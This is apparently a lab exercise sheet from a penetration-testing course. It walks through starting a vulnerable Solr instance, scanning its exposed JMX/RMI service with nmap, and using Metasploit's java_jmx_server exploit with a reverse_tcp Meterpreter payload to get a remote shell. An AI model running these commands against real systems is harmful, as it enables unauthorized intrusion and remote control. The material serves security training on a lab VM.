Advanced Web Application

Lab 2: Attacking RMI-based JMX Services 

 

In the /home/developer/Downloads/solr-8.1.1/ directory, a vulnerable solr instance exists that 

exposes an unprotected JMX service. You can start solr, as follows. 

 

cd /home/developer/Downloads/solr-8.1.1/solr/bin 

./solr start 

 

Now,  spin  up  a  penetration  testing  distribution  and  perform  a  thorough  nmap  scan  against  the 

provided Virtual Machine (use the -sC, -sV and -A options, the rmi-dumpregistry nse script may be 

needed as well to identify the name where the JMX RMI interface is bound). You should see the below. 

 

 

 

To compromise the unprotected service, execute the below inside Metasploit. 

 

use exploit/multi/misc/java_jmx_server 

set RHOSTS 

 

set RPORT 18983 

set payload java/meterpreter/reverse_tcp 

set LHOST 

 

run 

 

A new meterpreter session should be established. 

 

 

---

 

 

© 2020 Caendra Inc. | WAPTXv2